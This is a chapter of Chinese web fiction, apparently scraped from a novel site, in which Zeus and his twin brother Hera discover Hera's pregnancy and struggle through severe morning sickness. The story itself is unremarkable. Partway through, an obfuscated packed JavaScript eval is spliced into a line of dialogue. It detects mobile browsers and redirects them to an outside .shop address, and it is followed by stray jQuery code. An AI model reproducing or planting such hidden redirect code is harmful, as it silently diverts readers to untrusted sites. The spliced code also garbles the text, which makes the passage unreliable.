神王加冕后的日子，比我想象的更平静。
宙斯坐在那张金色的王座上，处理着天地的秩序：疆域的划分、祭祀的规则、新神的任免、旧神的退休……有些他裁决，有些他搁置，他的判断常常出人意料，但事后证明总是对的。
我的位置在他右手边，是一张稍矮一些、同样金色的椅子，扶手上雕刻着孔雀的尾羽——那是我的圣鸟，他亲自设计的。
每天清晨我会走进大殿，坐在那张椅子上，帮他处理那些他懒得看、懒得想、懒得回应的琐事。我们配合默契，有时甚至不需要言语和眼神，他就知道我需要什么，我也知道他在想什么。
双生子，到底是不一样的。
我们很少谈论那十年，它们像一块被烧过的土地，表面已经长出了新的草，底下却还有余烬，踩到某个地方，还是会烫一下。
我偶尔会想起波塞冬，想他站在礁石上的背影，想他讲的那些不好笑的笑话，想他在海边的宫殿里还好吗？有没有找到新的人？有没有在新的月亮升起来的时候，站在窗前看着某个方向？
我希望他找到了，不只是因为我亏欠他，也是因为他值得被爱。真正的、完整的、不用和任何人分享的爱，那是我给不了他的东西。
一个很普通的下午，奥林匹斯大殿穹顶上那片完整的星空缓慢地旋转着。
众神已经被我打发走了，宙斯靠在王座上，手里拿着一卷波塞冬刚送来的羊皮纸，关于海洋疆域的调整申请。
“他这是第五次申请了。”宙斯皱眉。
“你打算批吗？”
“不批。”
“那你打算晾着他？”
“晾着，”他把羊皮纸扔到一边，揉了揉眉心，“他不会发疯的。他要是想发疯，五十年前就发了。”
我还没来得及说什么，一种奇怪的感觉从胃部升起。我的手停住了，笔尖在羊皮纸上洇出墨迹。
“哥哥？”宙斯的声音从王座方向传过来，“你怎么了？”
“没什么。”我放下笔，手指按在胃部。
“你脸白了。”
他三步并作两步地走到我面前，手覆上我的手，把我的手从胃部移开，他自己的手取代了我的位置，掌心贴着我的腹部。
“我没事——”
“别说话。”
他的另一只手抬起来，按在我的后颈上，把我的头固定住，然后闭上眼。金色的光芒从他的指尖渗出来，穿过我的衣袍，进入我的身体。
我的身体在那股神力的渗透下微微发烫，那道光顺着我的血脉往下走，经过喉咙，经过胸腔，经过胃部，最终停在小腹下方。
然后他的眼睛睁开了，里面有一种我从未见过的东西。
“哥哥。”
“什么？”
“你——”
他的手还贴在我的腹部，但手指在发抖。
“你要说什么？”我问。
他的喉结上下滚动了一下，像有什么东西卡在那里，吞不下去也吐不出来。他深吸了一口气，然后把手从我腹部移开，双手捧住我的脸。
“哥哥，你怀孕了。”
我低下头，有些不可置信地摸上小腹。这里那么平坦，居然正孕育着一个生命吗？
宙斯温柔地吻了我，退开的时候，额头抵着我的额头，鼻尖碰着我的鼻尖，我们的呼吸交缠在一起。
“我要当父亲了。”他说，声音里有一种如梦初醒的恍惚。
“你要当父亲了。”我说。
“我们的。”
“我们的。”
他重复了这个词好几遍，每说一遍，声音里的恍惚就少一分，确认就多一分。然后他握住我的手，十指穿过我的指缝，扣紧，掌心对掌心。
“哥哥，谢谢你。”
“谢什么？”
他没有回答，把脸埋进我的颈窝里，嘴唇贴着我的锁骨，闭上眼。他的睫毛在我皮肤上轻轻扫过，痒痒的，湿湿的，不知道是泪还是呼吸凝成的水汽。
……
孕期的头几个月，是我活到现在最像瓷器的日子。
宙斯几乎一手包揽了我所有的饮食起居，事无巨细都亲力亲为。他不让我走路，不让我批公文，甚至不让我自己倒水。那只金杯永远盛着温度刚好的蜂蜜水，放在我触手可及的地方。
奥林匹斯的神明们私下议论，说神王变了，说那个连自己父神都敢肢解的不可一世的宙斯，被一个还没出生的孩子驯成了绵羊。
这些话传到宙斯耳朵里，他没有发怒，只是笑了一下，说：“他们说得对。”
但他其实并没有变，而是把从前用来征服世界的那股劲，全部用在了伺候我身上。
他学会了做饭、辨认草药，在我半夜抽筋的时候用恰到好处的力道揉我的小腿，在我早晨呕吐的时候一只手揽着我的头发另一只手顺着我的背……他的手法从生疏到熟练，再到变成了一种不需要思考的本能。
但我的身体没有因为他做对了所有事就好转。
也许是第一胎的原因——瑞亚后来这样解释。她说有些神的第一胎就是这样，母体需要时间来适应那个在体内生长的、半独立于自己的新生命。适应期会很难熬，熬过去了就好了，熬不过去……她没有说熬不过去会怎么样，但我心里清楚后果。
孕吐从第二个月开始，到第三个月达到巅峰。我整个人像被从内部翻过来一样，每一天，每一个时辰，每一次胃里刚进了一点东西，就会被那股翻涌上来的力量推出去。
我跪在铜盆前，双手撑着地面，脊背弓起来，衣袍皱成一团，头发散下来遮住了半张脸，控制不住地呕吐。
宙斯跪在我身后，一只手揽着我的腰，另一只手把垂到我脸上的头发拨到耳后。
“哥哥，要不要喝点水？”
我摇头。
“那要不要靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648421|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着我？”
他把我的身体从铜盆边捞起来，让我靠进他怀里。
疯狂孕吐所带来的后果就是，我的体重开始急速往下掉。
赫斯提亚看见我的第一眼，就吓了一跳。
“赫拉，”她把麦粥放在床头，坐在我床边，伸手摸了摸我的脸，“你瘦太多了。”
“我知道。”
“吃不下？”
“吃了就吐。”
赫斯提亚没有说“你要多吃点”这种没用的话，她把麦粥碗端起来，用小勺搅了搅，吹凉，送到我嘴边。
“吃一口，吃得下就吃，吃不下就吐。不怪你。”
我吃了一口，麦粥在她的神力加持下有一种让人安心的甜味。它在我的舌头上停留了一瞬，滑过喉咙，进入胃里。我等着那股翻涌的感觉，但它没有来。赫斯提亚的麦粥，像是被什么力量保护着，安静地躺在我的胃里。
我又吃了一口、两口、三口……
赫斯提亚看着我吃，眼眶红了。
宙斯站在门口，背靠着门框，双手抱胸。他的表情看起来很平静，可我知道他不平静。
赫斯提亚走的时候，在门口和宙斯说了一会儿话。我听不清他们在说什么，但我看见宙斯的肩膀在赫斯提亚说完最后一句话之后，塌了一下。
赫斯提亚走后，宙斯从门口走进来，坐在她坐过的位置上。他拿起我放在床头的那只金杯，摸了摸水温，走出去换了新的蜂蜜水，走回来放在我手边。然后他没有说话，把我的脚从被子下面捞出来，放在他的膝盖上，开始按。
“宙斯，”我叫他，“别担心，我没事。”
“哥哥，我什么都做不了。”
他可以把天地握在掌心里，可以把海洋和冥府压在脚下，可以让所有的神明匍匐在他面前。但他不能让他的爱人恢复健康，甚至只是暂时睡个好觉。
我的手从被子下面伸出来，落在他低垂的头顶上。
“你做了很多，你做了所有你能做的。”
“不够。”
“够了。”
“不够。”他抬起头，那双金色的眼睛里有光在颤抖。
他握住我放在他头顶的手，翻过来，把脸埋进我的掌心里。他的嘴唇贴着我掌心的纹路，睫毛扫过我的生命线，呼吸湿热地扑在我手腕的脉搏上。
“哥哥，我不知道该怎么办。我可以打赢任何战争，可以打败任何对手，可以解决任何问题。但你在我面前一天一天地瘦下去，我却什么都做不了。”
我感觉到掌心有湿意。
神王宙斯，我的弟弟宙斯，我的爱人宙斯。
此刻他就那样半跪半趴在床边，以一个别扭的、不体面的姿势，让我抱着。
我只能一遍一遍地安慰他，或许也是在安慰我自己。
“我会没事的。”
“孩子会没事的。”
“我们都会没事的。”